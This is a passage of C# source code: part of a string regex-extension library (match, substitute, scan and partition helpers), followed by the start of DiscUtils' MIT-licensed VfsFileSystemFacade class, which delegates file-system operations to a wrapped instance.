<returns></returns> public string[] GetNames() { if(namedcaptures == null) return new string[0]; return this.namedcaptures.Keys.ToArray(); } void AddMatch(Regex regex, Match match) { for (int index = 0; index < match.Groups.Count; index++) { Group group = match.Groups[index]; string name = regex.GroupNameFromNumber(index); int tryint; // We only record the LAST capture in this group. This simplifies matching so // that multiple captures in the same group are overwritten. if (Int32.TryParse(name, out tryint)) { this.indexcaptures.Add(group.Captures[group.Captures.Count - 1]); } else { if (namedcaptures == null) namedcaptures = new Dictionary<string, Capture>(); this.namedcaptures[name] = group.Captures[group.Captures.Count - 1]; } } } IEnumerable<Capture> GetCaptures() { // First return numbered capture values... foreach (Capture capture in indexcaptures) { yield return capture; } // ...then return named captures if (namedcaptures != null) { foreach (KeyValuePair<string, Capture> capture in namedcaptures) { yield return capture.Value; } } } IEnumerator<string> GetEnumeratorInternal() { foreach (Capture cap in GetCaptures()) { yield return cap.Value; } } public IEnumerator<string> GetEnumerator() { return GetEnumeratorInternal(); } IEnumerator IEnumerable.GetEnumerator() { return GetEnumeratorInternal(); } public MatchData(Regex regex, MatchCollection matches) { if (matches == null || matches.Count == 0) return; foreach (Match match in matches) { AddMatch(regex, match); } } public MatchData(Regex regex, Match match) { AddMatch(regex, match); } } public static class StringRegexExtensions { static readonly Dictionary<char, RegexOptions> _optionChars = new Dictionary<char, RegexOptions> { { 'i', RegexOptions.IgnoreCase }, { 's', RegexOptions.Singleline }, { 'm', RegexOptions.Multiline }, { 'x', RegexOptions.IgnorePatternWhitespace }, { 'c', RegexOptions.Compiled }, { 'r', RegexOptions.RightToLeft } }; #if !NET35 static readonly ConcurrentDictionary<Tuple<string, RegexOptions>, Regex> _cache = new ConcurrentDictionary<Tuple<string, RegexOptions>, Regex>(); static Tuple<string, RegexOptions> MakeCacheKey(string pattern, RegexOptions opt) { return new Tuple<string, RegexOptions>(pattern, opt); } static Tuple<string, RegexOptions> MakeCacheKey(string pattern) { return new Tuple<string, RegexOptions>(pattern, RegexOptions.None); } static Regex ToRegex(this string pattern) { return _cache.GetOrAdd(MakeCacheKey(pattern), p => { return new Regex(pattern); }); } static Regex ToRegex(this string pattern, RegexOptions options) { return _cache.GetOrAdd(MakeCacheKey(pattern, options), p => { return new Regex(pattern, options); }); } /// <summary> /// The number of Regex objects that occupy the cache. /// </summary> public static int CacheCount { get { return _cache.Count; } } #else static Regex ToRegex(this string pattern) { return new Regex(pattern); } static Regex ToRegex(this string pattern, RegexOptions options) { return new Regex(pattern, options); } #endif static RegexOptions GetOptions(string options) { if (String.IsNullOrEmpty(options)) return RegexOptions.None; return (RegexOptions)options.Select(c => { try { return (int)_optionChars[c]; } catch (KeyNotFoundException) { return 0; } }).Sum(); } /// <summary> /// Tests whether this string matches a string regex pattern /// </summary> /// <param name="pattern">The regex pattern to test against this string</param> /// <returns></returns> public static bool HasPattern(this string input, string pattern) { return HasPattern(input, pattern, null); } /// <summary> /// Tests whether this string matches a string regex pattern with optional regex options. /// </summary> /// <param name="pattern">The regex pattern to test against this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> public static bool HasPattern(this string input, string pattern, string options) { return pattern.ToRegex(GetOptions(options)).IsMatch(input); } /// <summary> /// Tests whether this string matches a string regex pattern /// </summary> /// <param name="pattern">The regex pattern to test against this string</param> public static bool HasPattern(this string input, string pattern, int startat) { return HasPattern(input, pattern, null, startat); } /// <summary> /// Tests whether this string matches a string regex pattern /// </summary> /// <param name="pattern">The regex pattern to test against this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> public static bool HasPattern(this string input, string pattern, string options, int startat) { return pattern.ToRegex(GetOptions(options)).IsMatch(input, startat); } /// <summary> /// Returns matches within the string that match a specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to match against this string</param> /// <returns>The <see cref="MatchData"/> associated with the pattern match.</returns> public static MatchData MatchesPattern(this string input, string pattern) { return MatchesPattern(input, pattern, null); } /// <summary> /// Returns matches within the string that match a specified regex pattern with the specified regex options /// </summary> /// <param name="pattern">The regex pattern to match against this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>The <see cref="MatchData"/> associated with the pattern match.</returns> public static MatchData MatchesPattern(this string input, string pattern, string options) { var re = pattern.ToRegex(GetOptions(options)); return new MatchData(re, re.Matches(input)); } /// <summary> /// Returns matches within the string that match a specified regex pattern beginning at the specified offset /// </summary> /// <param name="pattern">The regex pattern to match against this string</param> /// <param name="startat">The offset at which to begin matching</param> /// <returns>The <see cref="MatchData"/> associated with the pattern match.</returns> public static MatchData MatchesPattern(this string input, string pattern, int startat) { return MatchesPattern(input, pattern, null, startat); } /// <summary> /// Returns matches within the string that match a specified regex pattern beginning at the specified offset with the specified regex options /// </summary> /// <param name="pattern">The regex pattern to match against this string</param> /// <param name="startat">The offset at which to begin matching</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>The <see cref="MatchData"/> associated with the pattern match.</returns> public static MatchData MatchesPattern(this string input, string pattern, string options, int startat) { var re = pattern.ToRegex(GetOptions(options)); return new MatchData(re, re.Matches(input, startat)); } /// <summary> /// Returns a copy of this string with the first occurrence of the specified regex pattern replaced with the specified replacement text /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string Sub(this string input, string pattern, string replacement) { return Sub(input, pattern, null, replacement); } /// <summary> /// Returns a copy of this string with the first occurrence of the specified regex pattern replaced with the specified replacement text and options /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string Sub(this string input, string pattern, string options, string replacement) { return pattern.ToRegex(GetOptions(options)).Replace(input, replacement, 1); } /// <summary> /// Returns a copy of this string with the first occurrence of the specified regex pattern replaced with the specified replacement text /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string Sub(this string input, string pattern, Func<Match, string> evaluator) { return Sub(input, pattern, null, evaluator); } /// <summary> /// Returns a copy of this string with the first occurrence of the specified regex pattern replaced with the specified replacement text and options /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string Sub(this string input, string pattern, string options, Func<Match, string> evaluator) { return pattern.ToRegex(GetOptions(options)).Replace(input, delegate(Match arg) { return evaluator(arg); }, 1); } /// <summary> /// Returns a copy of this string with all occurrences of the specified regex pattern replaced with the specified replacement text /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string GSub(this string input, string pattern, string replacement) { return GSub(input, pattern, null, replacement); } /// <summary> /// Returns a copy of this string with all occurrences of the specified regex pattern and options replaced with the specified replacement text /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="replacement">The text replacement to use</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string GSub(this string input, string pattern, string options, string replacement) { return pattern.ToRegex(GetOptions(options)).Replace(input, replacement); } /// <summary> /// Returns a copy of this string with all occurrences of the specified regex pattern replaced with the text returned from the given function /// </summary> /// <param name="pattern">The regex pattern to match</param> /// <param name="evaluator">A function that returns either the replacement text or the original string</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string GSub(this string input, string pattern, Func<Match, string> evaluator) { return GSub(input, pattern, null, evaluator); } /// <summary> /// Returns a copy of this string with all occurrences of the specified regex pattern and options replaced with the text returned from the given function /// </summary> /// <param name="pattern">The regex pattern to match</param> /// <param name="evaluator">A function that returns either the replacement text or the original string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>A copy of this string with specified pattern replaced</returns> public static string GSub(this string input, string pattern, string options, Func<Match, string> evaluator) { return pattern.ToRegex(GetOptions(options)).Replace(input, delegate(Match arg) { return evaluator(arg); }); } /// <summary> /// Returns the first index of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <returns>The offset of the first match</returns> public static int IndexOfPattern(this string input, string pattern) { return IndexOfPattern(input, pattern, null); } /// <summary> /// Returns the first index of the specified regex pattern and options /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>The offset of the first match</returns> public static int IndexOfPattern(this string input, string pattern, string options) { return input.MatchPattern(pattern, options).Begin(0); } /// <summary> /// Returns the first index of the specified regex pattern after the specified position /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="startat">The string position from which to begin</param> /// <returns>The offset of the first match</returns> public static int IndexOfPattern(this string input, string pattern, int startat) { return IndexOfPattern(input, pattern, null, startat); } /// <summary> /// Returns the first index of the specified regex pattern and options after the specified position /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="startat">The string position from which to begin</param> /// <returns>The offset of the first match</returns> public static int IndexOfPattern(this string input, string pattern, string options, int startat) { return input.MatchPattern(pattern, options, startat).Begin(0); } /// <summary> /// Returns the last index of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <returns>The offset of the last match</returns> public static int LastIndexOfPattern(this string input, string pattern) { return LastIndexOfPattern(input, pattern, null); } /// <summary> /// Returns the last index of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>The offset of the last match</returns> public static int LastIndexOfPattern(this string input, string pattern, string options) { var m = input.MatchesPattern(pattern, options); return m.Begin(m.MatchCount - 1); } /// <summary> /// Return the value of the first match of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <returns>The first value matching the specified pattern</returns> public static string FindPattern(this string input, string pattern) { return input.MatchPattern(pattern).First(); } /// <summary> /// Return the value of the first match of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>The first value matching the specified pattern</returns> public static string FindPattern(this string input, string pattern, string options) { return input.MatchPattern(pattern, options).First(); } /// <summary> /// Return the value of the specified numbered capture of the first match of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="capture">The index of the capture to return</param> /// <returns>The first value matching the specified pattern or null if the pattern is not found.</returns> public static string FindPattern(this string input, string pattern, int capture) { return FindPattern(input, pattern, null, capture); } /// <summary> /// Return the value of the specified numbered capture of the first match of the specified regex pattern /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="capture">The index of the capture to return</param> /// <returns>The first value matching the specified pattern or null if the pattern is not found.</returns> public static string FindPattern(this string input, string pattern, string options, int capture) { try { return input.MatchPattern(pattern, options)[capture]; } catch (IndexOutOfRangeException) { return null; } } /// <summary> /// Partition this string into the head, match value, and tail according to the specified regex value /// </summary> /// <param name="pattern">The regex pattern to use when partitioning this string</param> /// <returns>A string array with 3 elements, containing the partitioned string</returns> public static string[] Partition(this string input, string pattern) { return Partition(input, pattern, null); } /// <summary> /// Partition this string into the head, match value, and tail according to the specified regex value /// </summary> /// <param name="pattern">The regex pattern to use when partitioning this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <returns>A string array with 3 elements, containing the partitioned string</returns> public static string[] Partition(this string input, string pattern, string options) { var m = input.MatchPattern(pattern, options); if (m.Count == 0) return new string[] { String.Empty, String.Empty, input }; return new string[] { input.Substring(0, m.Begin(0)), m.First(), input.Substring(m.End(0)) }; } /// <summary> /// Scans this string for the specified pattern, and calls the specified function for each match. /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="each">The function to call for each match.</param> /// <returns></returns> public static void Scan(this string input, string pattern, Action<string> each) { input.Scan(pattern, null, each); } /// <summary> /// Scans this string for the specified pattern which can contains two capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first two captures. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, Action<string, string> each) { input.Scan(pattern, null, each); } /// <summary> /// Scans this string for the specified pattern which can contain three capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first three captures specified. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, Action<string, string, string> each) { input.Scan(pattern, null, each); } /// <summary> /// Scans this string for the specified pattern which can contain four capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first four captures specified. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, Action<string, string, string, string> each) { input.Scan(pattern, null, each); } /// <summary> /// Scans this string for the specified pattern and options, and calls the specified function for each match. /// </summary> /// <param name="pattern">The regex pattern to find within this string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="each">The function to call for each match.</param> /// <returns></returns> public static void Scan(this string input, string pattern, string options, Action<string> each) { var matches = pattern.ToRegex(GetOptions(options)).Matches(input); foreach (Match match in matches) { each(match.Groups.Count > 1 ? match.Groups[1].Value : match.Value); } } /// <summary> /// Scans this string for the specified pattern and options which can contains two capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first two captures. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, string options, Action<string, string> each) { var matches = pattern.ToRegex(GetOptions(options)).Matches(input); foreach (Match match in matches) { if (match.Groups.Count > 2) each(match.Groups[1].Value, match.Groups[2].Value); else each(match.Value, null); } } /// <summary> /// Scans this string for the specified pattern and options which can contain three capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first three captures specified. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, string options, Action<string, string, string> each) { var matches = pattern.ToRegex(GetOptions(options)).Matches(input); foreach (Match match in matches) { if (match.Groups.Count > 3) each(match.Groups[1].Value, match.Groups[2].Value, match.Groups[3].Value); else if (match.Groups.Count > 2) each(match.Groups[1].Value, match.Groups[2].Value, null); else each(match.Value, null, null); } } /// <summary> /// Scans this string for the specified pattern and options which can contain four capturing groups or a group with one or more subgroups. Each time the pattern is encountered, the specified function is invoked with the first four captures specified. /// </summary> /// <param name="pattern">The regex pattern to find within the string</param> /// <param name="options">Combine any characters -- i: ignore case, s: single line mode (period [.] matches newlines), m: multiline mode (^ and $ match lines), x: ignore whitespace, c: compiled, r: right to left</param> /// <param name="each">The function to call for each maching group.</param> public static void Scan(this string input, string pattern, string options, Action<string, string, string, string> each) { var matches = pattern.ToRegex(GetOptions(options)).Matches(input); foreach (Match match in matches) { if(match.Groups.Count > 4) each(match.Groups[1].Value, match.Groups[2].Value, match.Groups[3].Value, match.Groups[4].Value); else if (match.Groups.Count > 3) each(match.Groups[1].Value, match.Groups[2].Value, match.Groups[3].Value, null); else if (match.Groups.Count > 2) each(match.Groups[1].Value, match.Groups[2].Value, null, null); else each(match.Value, null, null, null); } } // Single match, used internally static MatchData MatchPattern(this string input, string pattern) { return MatchPattern(input, pattern, null); } static MatchData MatchPattern(this string input, string pattern, string options) { var re = pattern.ToRegex(GetOptions(options)); return new MatchData(re, re.Match(input)); } static MatchData MatchPattern(this string input, string pattern, int startat) { return MatchPattern(input, pattern, null, startat); } static MatchData MatchPattern(this string input, string pattern, string options, int startat) { var re = pattern.ToRegex(GetOptions(options)); return new MatchData(re, re.Match(input, startat)); } } }
// // Copyright (c) 2008-2011, Kenneth Bell // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. // namespace DiscUtils.Vfs { using System; using System.IO; /// <summary> /// Base class for the public facade on a file system. /// </summary> /// <remarks> /// The derived class can extend the functionality available from a file system /// beyond that defined by DiscFileSystem. /// </remarks> public abstract class VfsFileSystemFacade : DiscFileSystem { private DiscFileSystem _wrapped; /// <summary> /// Initializes a new instance of the VfsFileSystemFacade class. /// </summary> /// <param name="toWrap">The actual file system instance</param> protected VfsFileSystemFacade(DiscFileSystem toWrap) { _wrapped = toWrap; } /// <summary> /// Gets the file system options, which can be modified. /// </summary> public override DiscFileSystemOptions Options { get { return _wrapped.Options; } } /// <summary> /// Gets a friendly name for the file system. /// </summary> public override string FriendlyName { get { return _wrapped.FriendlyName; } } /// <summary> /// Indicates whether the file system is read-only or read-write. /// </summary> /// <returns>true if the file system is read-write.</returns> public override bool CanWrite { get { return _wrapped.CanWrite; } } /// <summary> /// Gets the root directory of the file system. /// </summary> public override DiscDirectoryInfo Root { get { return new DiscDirectoryInfo(this, string.Empty); } } /// <summary> /// Gets the volume label. /// </summary> public override string VolumeLabel { get { return _wrapped.VolumeLabel; } } /// <summary> /// Gets a value indicating whether the file system is thread-safe. /// </summary> public override bool IsThreadSafe { get { return _wrapped.IsThreadSafe; } } /// <summary> /// Copies an existing file to a new file. /// </summary> /// <param name="sourceFile">The source file</param> /// <param name="destinationFile">The destination file</param> public override void CopyFile(string sourceFile, string destinationFile) { _wrapped.CopyFile(sourceFile, destinationFile); } /// <summary> /// Copies an existing file to a new file. /// </summary> /// <param name="sourceFile">The source file</param> /// <param name="destinationFile">The destination file</param> /// <param name="overwrite">Overwrite any existing file</param> public override void CopyFile(string sourceFile, string destinationFile, bool overwrite) { _wrapped.CopyFile(sourceFile, destinationFile, overwrite); } /// <summary> /// Creates a directory. /// </summary> /// <param name="path">The path of the new directory</param> public override void CreateDirectory(string path) { _wrapped.CreateDirectory(path); } /// <summary> /// Deletes a directory. /// </summary> /// <param name="path">The path of the directory to delete.</param> public override void DeleteDirectory(string path) { _wrapped.DeleteDirectory(path); } /// <summary> /// Deletes a directory, optionally with all descendants. /// </summary> /// <param name="path">The path of the directory to delete.</param> /// <param name="recursive">Determines if the all descendants should be deleted</param> public override void DeleteDirectory(string path, bool recursive) { _wrapped.DeleteDirectory(path, recursive); } /// <summary> /// Deletes a file. /// </summary> /// <param name="path">The path of the file to delete.</param> public override void DeleteFile(string path) { _wrapped.DeleteFile(path); } /// <summary> /// Indicates if a directory exists. /// </summary> /// <param name="path">The path to test</param> /// <returns>true if the directory exists</returns> public override bool DirectoryExists(string path) { return _wrapped.DirectoryExists(path); } /// <summary> /// Indicates if a file exists. /// </summary> /// <param name="path">The path to test</param> /// <returns>true if the file exists</returns> public override bool FileExists(string path) { return _wrapped.FileExists(path); } /// <summary> /// Indicates if a file or directory exists. /// </summary> /// <param name="path">The path to test</param> /// <returns>true if the file or directory exists</returns> public override bool Exists(string path) { return _wrapped.Exists(path); } /// <summary> /// Gets the names of subdirectories in a specified directory. /// </summary> /// <param name="path">The path to search.</param> /// <returns>Array of directories.</returns> public override string[] GetDirectories(string path) { return _wrapped.GetDirectories(path); } /// <summary> /// Gets the names of subdirectories in a specified directory matching a specified /// search pattern. /// </summary> /// <param name="path">The path to search.</param> /// <param name="searchPattern">The search string to match against.</param> /// <returns>Array of directories matching the search pattern.</returns> public override string[] GetDirectories(string path, string searchPattern) { return _wrapped.GetDirectories(path, searchPattern); } /// <summary> /// Gets the names of subdirectories in a specified directory matching a specified /// search pattern, using a value to determine whether to search subdirectories. /// </summary> /// <param name="path">The path to search.</param> /// <param name="searchPattern">The search string to match against.</param> /// <param name="searchOption">Indicates whether to search subdirectories.</param> /// <returns>Array of directories matching the search pattern.</returns> public override string[] GetDirectories(string path, string searchPattern, SearchOption searchOption) { return _wrapped.GetDirectories(path, searchPattern, searchOption); } /// <summary> /// Gets the names of files in a specified directory. /// </summary> /// <param name="path">The path to search.</param> /// <returns>Array of files.</returns> public override string[] GetFiles(string path) { return _wrapped.GetFiles(path); } /// <summary> /// Gets the names of files in a specified directory. /// </summary> /// <param name="path">The path to search.</param> /// <param name="searchPattern">The search string to match against.</param> /// <returns>Array of files matching the search pattern.</returns> public override string[] GetFiles(string path, string searchPattern) { return _wrapped.GetFiles(path, searchPattern); } /// <summary> /// Gets the names of files in a specified directory matching a specified /// search pattern, using a value to determine whether to search subdirectories. /// </summary> /// <param name="path">The path to search.</param> /// <param name="searchPattern">The search string to match against.</param> /// <param name="searchOption">Indicates whether to search subdirectories.</param> /// <returns>Array of files matching the search pattern.</returns> public override string[] GetFiles(string path, string searchPattern, SearchOption searchOption) { return _wrapped.GetFiles(path, searchPattern, searchOption); } /// <summary> /// Gets the names of all files and subdirectories in a specified directory. /// </summary> /// <param name="path">The path to search.</param> /// <returns>Array of files and subdirectories matching the search pattern.</returns> public override string[] GetFileSystemEntries(string path) { return _wrapped.GetFileSystemEntries(path); } /// <summary> /// Gets the names of files and subdirectories in a specified directory matching a specified /// search pattern. /// </summary> /// <param name="path">The path to search.</param> /// <param name="searchPattern">The search string to match against.</param> /// <returns>Array of files and subdirectories matching the search pattern.</returns> public override string[] GetFileSystemEntries(string path, string searchPattern) { return _wrapped.GetFileSystemEntries(path, searchPattern); } /// <summary> /// Moves a directory. /// </summary> /// <param name="sourceDirectoryName">The directory to move.</param> /// <param name="destinationDirectoryName">The target directory name.</param> public override void MoveDirectory(string sourceDirectoryName, string destinationDirectoryName) { _wrapped.MoveDirectory(sourceDirectoryName, destinationDirectoryName); } /// <summary> /// Moves a file. /// </summary> /// <param name="sourceName">The file to move.</param> /// <param name="destinationName">The target file name.</param> public override void MoveFile(string sourceName, string destinationName) { _wrapped.MoveFile(sourceName, destinationName); } /// <summary> /// Moves a file, allowing an existing file to be overwritten. /// </summary> /// <param name="sourceName">The file to move.</param> /// <param name="destinationName">The target file name.</param> /// <param name="overwrite">Whether to permit a destination file to be overwritten</param> public override void MoveFile(string sourceName, string destinationName, bool overwrite) { _wrapped.MoveFile(sourceName, destinationName, overwrite); } /// <summary> /// Opens the specified file. /// </summary> /// <param name="path">The full path of the file to open.</param> /// <param name="mode">The file mode for the created stream.</param> /// <returns>The new stream.</returns> public override SparseStream OpenFile(string path, FileMode mode) { return _wrapped.OpenFile(path, mode); } /// <summary> /// Opens the specified file. /// </summary> /// <param name="path">The full path of the file to open.</param> /// <param name="mode">The file mode for the created stream.</param> /// <param name="access">The access permissions for the created stream.</param> /// <returns>The new stream.</returns> public override SparseStream OpenFile(string path, FileMode mode, FileAccess access) { return _wrapped.OpenFile(path, mode, access); } /// <summary> /// Gets the attributes of a file or directory. /// </summary> /// <param name="path">The file or directory to inspect</param> /// <returns>The attributes of the file or directory</returns> public override FileAttributes GetAttributes(string path) { return _wrapped.GetAttributes(path); } /// <summary> /// Sets the attributes of a file or directory. /// </summary> /// <param name="path">The file or directory to change</param> /// <param name="newValue">The new attributes of the file or directory</param> public override void SetAttributes(string path, FileAttributes newValue) { _wrapped.SetAttributes(path, newValue); } /// <summary> /// Gets the creation time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory</param> /// <returns>The creation time.</returns> public override DateTime GetCreationTime(string path) { return _wrapped.GetCreationTime(path); } /// <summary> /// Sets the creation time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetCreationTime(string path, DateTime newTime) { _wrapped.SetCreationTime(path, newTime); } /// <summary> /// Gets the creation time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <returns>The creation time.</returns> public override DateTime GetCreationTimeUtc(string path) { return _wrapped.GetCreationTimeUtc(path); } /// <summary> /// Sets the creation time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetCreationTimeUtc(string path, DateTime newTime) { _wrapped.SetCreationTimeUtc(path, newTime); } /// <summary> /// Gets the last access time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory</param> /// <returns>The last access time</returns> public override DateTime GetLastAccessTime(string path) { return _wrapped.GetLastAccessTime(path); } /// <summary> /// Sets the last access time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetLastAccessTime(string path, DateTime newTime) { _wrapped.SetLastAccessTime(path, newTime); } /// <summary> /// Gets the last access time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory</param> /// <returns>The last access time</returns> public override DateTime GetLastAccessTimeUtc(string path) { return _wrapped.GetLastAccessTimeUtc(path); } /// <summary> /// Sets the last access time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetLastAccessTimeUtc(string path, DateTime newTime) { _wrapped.SetLastAccessTimeUtc(path, newTime); } /// <summary> /// Gets the last modification time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory</param> /// <returns>The last write time</returns> public override DateTime GetLastWriteTime(string path) { return _wrapped.GetLastWriteTime(path); } /// <summary> /// Sets the last modification time (in local time) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetLastWriteTime(string path, DateTime newTime) { _wrapped.SetLastWriteTime(path, newTime); } /// <summary> /// Gets the last modification time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory</param> /// <returns>The last write time</returns> public override DateTime GetLastWriteTimeUtc(string path) { return _wrapped.GetLastWriteTimeUtc(path); } /// <summary> /// Sets the last modification time (in UTC) of a file or directory. /// </summary> /// <param name="path">The path of the file or directory.</param> /// <param name="newTime">The new time to set.</param> public override void SetLastWriteTimeUtc(string path, DateTime newTime) { _wrapped.SetLastWriteTimeUtc(path, newTime); } /// <summary> /// Gets the length of a file. /// </summary> /// <param name="path">The path to the file</param> /// <returns>The length in bytes</returns> public override long GetFileLength(string path) { return _wrapped.GetFileLength(path); } /// <summary> /// Gets an object representing a possible file. /// </summary> /// <param name="path">The file path</param> /// <returns>The representing object</returns> /// <remarks>The file does not need to exist</remarks> public override DiscFileInfo GetFileInfo(string path) { return new DiscFileInfo(this, path); } /// <summary> /// Gets an object representing a possible directory. /// </summary> /// <param name="path">The directory path</param> /// <returns>The representing object</returns> /// <remarks>The directory does not need to exist</remarks> public override DiscDirectoryInfo GetDirectoryInfo(string path) { return new DiscDirectoryInfo(this, path); } /// <summary> /// Gets an object representing a possible file system object (file or directory). /// </summary> /// <param name="path">The file system path</param> /// <returns>The representing object</returns> /// <remarks>The file system object does not need to exist</remarks> public override DiscFileSystemInfo GetFileSystemInfo(string path) { return new DiscFileSystemInfo(this, path); } /// <summary> /// Provides access to the actual file system implementation /// </summary> /// <typeparam name="TDirEntry">The concrete type representing directory entries</typeparam> /// <typeparam name="TFile">The concrete type representing files</typeparam> /// <typeparam name="TDirectory">The concrete type representing 